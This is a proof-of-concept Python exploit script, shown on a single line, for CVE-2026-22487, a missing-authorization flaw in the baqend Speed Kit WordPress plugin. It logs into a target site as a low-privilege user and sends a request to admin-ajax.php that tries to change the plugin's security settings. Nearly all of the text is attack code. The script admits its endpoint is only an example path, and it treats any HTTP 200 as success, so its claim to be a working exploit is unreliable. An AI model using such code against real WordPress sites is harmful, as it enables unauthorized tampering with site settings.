CVE-2026-22487

# CVE-2026-22487 PoC - baqend Speed Kit Missing Authorization # This PoC demonstrates how a low-privilege user can exploit the broken access control import requests import sys # Target WordPress site with vulnerable baqend Speed Kit plugin target_url = "http://target-wordpress-site.com" # Authentication credentials (low-privilege user) username = "low_privilege_user" password = "user_password" def get_auth_token(): """Obtain authentication token via WordPress login""" login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_broken_access_control(cookies): """ Exploit the missing authorization vulnerability Try to access admin-only plugin functionality """ # Target plugin's admin endpoint (example path) admin_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft malicious request to exploit broken access control # This attempts to access privileged functionality with low-privilege credentials exploit_data = { 'action': 'baqend_speedkit_admin_action', 'sub_action': 'modify_settings', 'security_level': 'low', # Attempt to modify security settings 'new_config': 'malicious_config' } response = requests.post(admin_endpoint, data=exploit_data, cookies=cookies) if response.status_code == 200: print("[+] Successfully accessed privileged functionality!") print(f"[+] Response: {response.text}") return True else: print("[-] Access denied or vulnerability patched") return False if __name__ == "__main__": print("[*] CVE-2026-22487 Exploitation Tool") print("[*] Target: baqend Speed Kit WordPress Plugin <= 2.0.2") cookies = get_auth_token() if cookies: print("[+] Successfully authenticated as low-privilege user") exploit_broken_access_control(cookies) else: print("[-] Authentication failed")

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